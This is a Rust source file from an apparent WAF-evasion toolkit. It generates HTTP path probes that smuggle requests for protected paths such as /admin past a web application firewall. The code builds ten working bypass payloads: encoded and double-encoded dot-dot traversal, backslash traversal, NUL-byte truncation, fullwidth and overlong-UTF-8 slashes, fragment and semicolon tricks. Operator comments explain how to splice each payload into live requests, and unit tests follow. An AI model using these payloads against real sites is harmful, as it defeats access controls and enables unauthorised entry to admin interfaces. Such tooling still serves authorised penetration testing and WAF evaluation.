Skip to main content

wafrift_encoding/
path_normalize_smuggle.rs

1//! HTTP request-path parser-differential probes — exploit
2//! normalization disagreements between a fronting WAF and the backend
3//! origin.
4//!
5//! Every probe generates a `:path` pseudo-header (HTTP/2 style) whose
6//! byte form differs from a canonical protected path. A WAF that gates
7//! `/admin` by literal-string match will let the variant through; a
8//! backend that normalizes will route the request to the real handler.
9//!
10//! The pseudo-header naming convention (`:path`) is used because the
11//! existing `SmuggleArtifact::Headers` variant maps cleanly to HTTP/2
12//! semantics, and operators consuming the JSON immediately understand
13//! to splice the value into the request line for HTTP/1.1 transports.
14//!
15//! Each probe produces ONE `(":path", "<crafted-path>")` header pair.
16//! Splice into the outgoing HTTP/2 request directly, or use the path
17//! value as the request-line target for HTTP/1.1.
18
19use wafrift_types::canary::Canary;
20use wafrift_types::pick::pick_from;
21use wafrift_types::probe::{SmuggleArtifact, SmuggleProbe};
22
23/// Which path-normalization differential to emit. Each variant maps
24/// to a known WAF/origin disagreement on URL-path interpretation.
25#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
26pub enum PathNormalizeTechnique {
27    /// `/safe/%2e%2e/<target>` — URL-encoded dot-dot traversal.
28    /// Bypasses WAFs that scan only for literal `../`.
29    DotSegmentEncoded,
30    /// `/safe/%252e%252e/<target>` — double-encoded dot-dot.
31    /// Bypasses single-decode WAFs that see literal `%25...`.
32    DoubleEncodedDotSegment,
33    /// `/safe/%2e./<target>` — mixed encoded + literal dot.
34    /// Bypasses one-pass normalizers that miss the hybrid form.
35    MixedDotEncoding,
36    /// `/safe/..\<target>` — Windows-style backslash separator.
37    /// IIS / some Tomcat treat `\` as a path separator; many WAFs
38    /// normalize only forward slashes.
39    BackslashTraversal,
40    /// `/<target>%00/safe.html` — NUL-byte truncation.
41    /// C-string-based filters truncate at NUL; URL-aware backends
42    /// keep the full path and route to `/<target>`.
43    NullByteTruncation,
44    /// `////<target>` — multi-slash run.
45    /// Some proxies collapse, some don't — a per-segment ACL gate
46    /// that counts segments by literal slash will undercount.
47    MultiSlashCollapse,
48    /// `/safe#/<target>` — fragment-leaked path.
49    /// Backends strip fragment before routing; some WAFs split before
50    /// normalization and see only `/safe`.
51    FragmentLeak,
52    /// `/<target>;jsessionid=evil` — RFC 3986 path parameter suffix.
53    /// Some WAFs normalize the path-param suffix away (matching
54    /// `/<target>`) while others keep it and miss the gate.
55    SemicolonPathParam,
56    /// `/<U+FF0F><target>` — fullwidth solidus (visually a `/`).
57    /// Backends that NFKC-normalize the URL see `/admin`; WAFs that
58    /// don't see a 3-byte UTF-8 sequence and pass.
59    UnicodeFullwidthSlash,
60    /// `/%c0%af<target>` — overlong UTF-8 encoding of `/`.
61    /// Forbidden by RFC 3629 but accepted by lenient parsers
62    /// (pre-2.2.x Apache, old IIS, some Tomcat versions).
63    OverlongUtf8Slash,
64}
65
66impl PathNormalizeTechnique {
67    /// Stable kebab-case technique name. Used in JSON output and
68    /// telemetry — operators key on this for reproducibility.
69    #[must_use]
70    pub fn technique_name(&self) -> &'static str {
71        match self {
72            Self::DotSegmentEncoded => "path.dot-segment-encoded",
73            Self::DoubleEncodedDotSegment => "path.double-encoded-dot-segment",
74            Self::MixedDotEncoding => "path.mixed-dot-encoding",
75            Self::BackslashTraversal => "path.backslash-traversal",
76            Self::NullByteTruncation => "path.null-byte-truncation",
77            Self::MultiSlashCollapse => "path.multi-slash-collapse",
78            Self::FragmentLeak => "path.fragment-leak",
79            Self::SemicolonPathParam => "path.semicolon-path-param",
80            Self::UnicodeFullwidthSlash => "path.unicode-fullwidth-slash",
81            Self::OverlongUtf8Slash => "path.overlong-utf8-slash",
82        }
83    }
84
85    /// One-line operator description for logs and reports.
86    #[must_use]
87    pub fn description(&self) -> &'static str {
88        match self {
89            Self::DotSegmentEncoded => {
90                "URL-encoded dot-dot traversal — bypasses literal `../` scanners"
91            }
92            Self::DoubleEncodedDotSegment => "Double-encoded dot-dot — bypasses single-decode WAFs",
93            Self::MixedDotEncoding => "Mixed encoded + literal dot — bypasses one-pass normalizers",
94            Self::BackslashTraversal => {
95                "Windows backslash separator — IIS-style WAF/origin differential"
96            }
97            Self::NullByteTruncation => "NUL-byte truncation — splits WAF view from backend view",
98            Self::MultiSlashCollapse => "Multi-slash run — segment-count differential",
99            Self::FragmentLeak => "Fragment-in-path — WAFs that split early see wrong path",
100            Self::SemicolonPathParam => "RFC 3986 path-param suffix — normalizer differential",
101            Self::UnicodeFullwidthSlash => {
102                "U+FF0F fullwidth solidus — visually a slash, byte-wise not"
103            }
104            Self::OverlongUtf8Slash => "Overlong UTF-8 `/` (%c0%af) — accepted by lenient parsers",
105        }
106    }
107}
108
109/// Safe-looking path-prefix pool. The probe wraps a `/safe/`-style
110/// prefix around the traversal payload so a literal-prefix WAF rule
111/// (e.g. "block any path starting with `/admin`") fires on the prefix
112/// instead of the suffix-revealed admin path.
113const SAFE_PREFIX_POOL: &[&str] = &["/safe", "/public", "/healthz", "/assets"];
114
115/// One path-normalization smuggle probe.
116#[derive(Debug, Clone)]
117pub struct PathSmuggleProbe {
118    /// Per-probe correlation token.
119    pub canary: Canary,
120    /// Which differential this probe emits.
121    pub technique: PathNormalizeTechnique,
122    /// Crafted `:path` value. Splice into the outgoing request line.
123    pub path: String,
124}
125
126impl PathSmuggleProbe {
127    /// Build a probe for a given technique + protected path.
128    ///
129    /// `protected_path` is the resource a WAF gates (typical:
130    /// `/admin`). The probe rewrites it through the chosen
131    /// normalization technique.
132    #[must_use]
133    pub fn new(technique: PathNormalizeTechnique, protected_path: &str) -> Self {
134        let target = protected_path.trim_start_matches('/');
135        let prefix = pick_from(SAFE_PREFIX_POOL, "/safe");
136        let path = match technique {
137            PathNormalizeTechnique::DotSegmentEncoded => {
138                format!("{prefix}/%2e%2e/{target}")
139            }
140            PathNormalizeTechnique::DoubleEncodedDotSegment => {
141                format!("{prefix}/%252e%252e/{target}")
142            }
143            PathNormalizeTechnique::MixedDotEncoding => {
144                format!("{prefix}/%2e./{target}")
145            }
146            PathNormalizeTechnique::BackslashTraversal => {
147                format!("{prefix}/..\\{target}")
148            }
149            PathNormalizeTechnique::NullByteTruncation => {
150                format!("/{target}%00/{}", prefix.trim_start_matches('/'))
151            }
152            PathNormalizeTechnique::MultiSlashCollapse => {
153                format!("////{target}")
154            }
155            PathNormalizeTechnique::FragmentLeak => {
156                format!("{prefix}#/{target}")
157            }
158            PathNormalizeTechnique::SemicolonPathParam => {
159                format!("/{target};jsessionid=wafrift")
160            }
161            PathNormalizeTechnique::UnicodeFullwidthSlash => {
162                // U+FF0F = fullwidth solidus; UTF-8: EF BC 8F.
163                format!("\u{FF0F}{target}")
164            }
165            PathNormalizeTechnique::OverlongUtf8Slash => {
166                format!("/%c0%af{target}")
167            }
168        };
169        Self {
170            canary: Canary::generate(),
171            technique,
172            path,
173        }
174    }
175}
176
177impl SmuggleProbe for PathSmuggleProbe {
178    fn canary(&self) -> &Canary {
179        &self.canary
180    }
181    fn technique(&self) -> String {
182        self.technique.technique_name().to_string()
183    }
184    fn description(&self) -> &str {
185        self.technique.description()
186    }
187    fn artifact(&self) -> SmuggleArtifact {
188        SmuggleArtifact::Headers(vec![(":path".to_string(), self.path.clone())])
189    }
190}
191
192/// Every path-normalization smuggle variant against the given
193/// protected path. Returns 10 probes — one per
194/// [`PathNormalizeTechnique`] variant.
195#[must_use]
196pub fn all_variants(protected_path: &str) -> Vec<PathSmuggleProbe> {
197    use PathNormalizeTechnique::*;
198    [
199        DotSegmentEncoded,
200        DoubleEncodedDotSegment,
201        MixedDotEncoding,
202        BackslashTraversal,
203        NullByteTruncation,
204        MultiSlashCollapse,
205        FragmentLeak,
206        SemicolonPathParam,
207        UnicodeFullwidthSlash,
208        OverlongUtf8Slash,
209    ]
210    .iter()
211    .map(|t| PathSmuggleProbe::new(*t, protected_path))
212    .collect()
213}
214
215#[cfg(test)]
216mod tests {
217    use super::*;
218    use std::collections::HashSet;
219
220    #[test]
221    fn all_variants_emits_one_per_technique() {
222        let probes = all_variants("/admin");
223        assert_eq!(probes.len(), 10);
224    }
225
226    #[test]
227    fn every_probe_uses_path_family_namespace() {
228        for p in all_variants("/admin") {
229            assert!(p.technique().starts_with("path."), "got {}", p.technique());
230        }
231    }
232
233    #[test]
234    fn every_probe_emits_pseudo_path_header() {
235        for p in all_variants("/admin") {
236            match p.artifact() {
237                SmuggleArtifact::Headers(hs) => {
238                    assert_eq!(hs.len(), 1);
239                    assert_eq!(hs[0].0, ":path");
240                    assert!(!hs[0].1.is_empty());
241                }
242                other => panic!("expected Headers, got {other:?}"),
243            }
244        }
245    }
246
247    #[test]
248    fn dot_segment_encoded_contains_encoded_dot_dot() {
249        let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "/admin");
250        assert!(p.path.contains("%2e%2e"), "got {}", p.path);
251        assert!(p.path.ends_with("admin"));
252    }
253
254    #[test]
255    fn double_encoded_contains_double_percent() {
256        let p = PathSmuggleProbe::new(PathNormalizeTechnique::DoubleEncodedDotSegment, "/admin");
257        assert!(p.path.contains("%252e%252e"), "got {}", p.path);
258    }
259
260    #[test]
261    fn mixed_dot_encoding_contains_encoded_dot_then_literal_dot() {
262        let p = PathSmuggleProbe::new(PathNormalizeTechnique::MixedDotEncoding, "/admin");
263        assert!(p.path.contains("%2e."), "got {}", p.path);
264    }
265
266    #[test]
267    fn backslash_traversal_contains_backslash() {
268        let p = PathSmuggleProbe::new(PathNormalizeTechnique::BackslashTraversal, "/admin");
269        assert!(p.path.contains('\\'), "got {}", p.path);
270    }
271
272    #[test]
273    fn null_byte_variant_contains_percent_00() {
274        let p = PathSmuggleProbe::new(PathNormalizeTechnique::NullByteTruncation, "/admin");
275        assert!(p.path.contains("%00"), "got {}", p.path);
276    }
277
278    #[test]
279    fn multi_slash_variant_starts_with_quad_slash() {
280        let p = PathSmuggleProbe::new(PathNormalizeTechnique::MultiSlashCollapse, "/admin");
281        assert!(p.path.starts_with("////"), "got {}", p.path);
282    }
283
284    #[test]
285    fn fragment_variant_contains_hash() {
286        let p = PathSmuggleProbe::new(PathNormalizeTechnique::FragmentLeak, "/admin");
287        assert!(p.path.contains('#'), "got {}", p.path);
288    }
289
290    #[test]
291    fn semicolon_variant_contains_semicolon_param() {
292        let p = PathSmuggleProbe::new(PathNormalizeTechnique::SemicolonPathParam, "/admin");
293        assert!(p.path.contains(';'), "got {}", p.path);
294        assert!(p.path.contains("jsessionid"));
295    }
296
297    #[test]
298    fn unicode_fullwidth_variant_contains_ff0f_bytes() {
299        let p = PathSmuggleProbe::new(PathNormalizeTechnique::UnicodeFullwidthSlash, "/admin");
300        // U+FF0F in UTF-8 is EF BC 8F.
301        let bytes = p.path.as_bytes();
302        assert!(
303            bytes.windows(3).any(|w| w == [0xEF, 0xBC, 0x8F]),
304            "got bytes {bytes:?}"
305        );
306    }
307
308    #[test]
309    fn overlong_utf8_variant_contains_c0_af() {
310        let p = PathSmuggleProbe::new(PathNormalizeTechnique::OverlongUtf8Slash, "/admin");
311        assert!(p.path.contains("%c0%af"), "got {}", p.path);
312    }
313
314    #[test]
315    fn canaries_are_unique_per_probe() {
316        let probes = all_variants("/admin");
317        let tokens: HashSet<String> = probes.iter().map(|p| p.canary().token.clone()).collect();
318        assert_eq!(tokens.len(), probes.len());
319    }
320
321    #[test]
322    fn descriptions_are_non_empty_and_distinct() {
323        let probes = all_variants("/admin");
324        let descs: HashSet<&str> = probes.iter().map(|p| p.description()).collect();
325        assert_eq!(descs.len(), probes.len(), "descriptions must be distinct");
326        for p in &probes {
327            assert!(!p.description().is_empty());
328        }
329    }
330
331    #[test]
332    fn technique_names_are_distinct() {
333        let probes = all_variants("/admin");
334        let techs: HashSet<String> = probes.iter().map(|p| p.technique()).collect();
335        assert_eq!(
336            techs.len(),
337            probes.len(),
338            "technique names must be distinct"
339        );
340    }
341
342    #[test]
343    fn custom_protected_path_appears_in_artifact() {
344        let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "/wp-admin");
345        assert!(p.path.contains("wp-admin"), "got {}", p.path);
346    }
347
348    #[test]
349    fn protected_path_without_leading_slash_still_works() {
350        let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "admin");
351        assert!(p.path.contains("admin"));
352    }
353
354    #[test]
355    fn probe_canary_token_is_sixteen_chars() {
356        let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "/admin");
357        assert_eq!(p.canary().token.len(), 16);
358    }
359}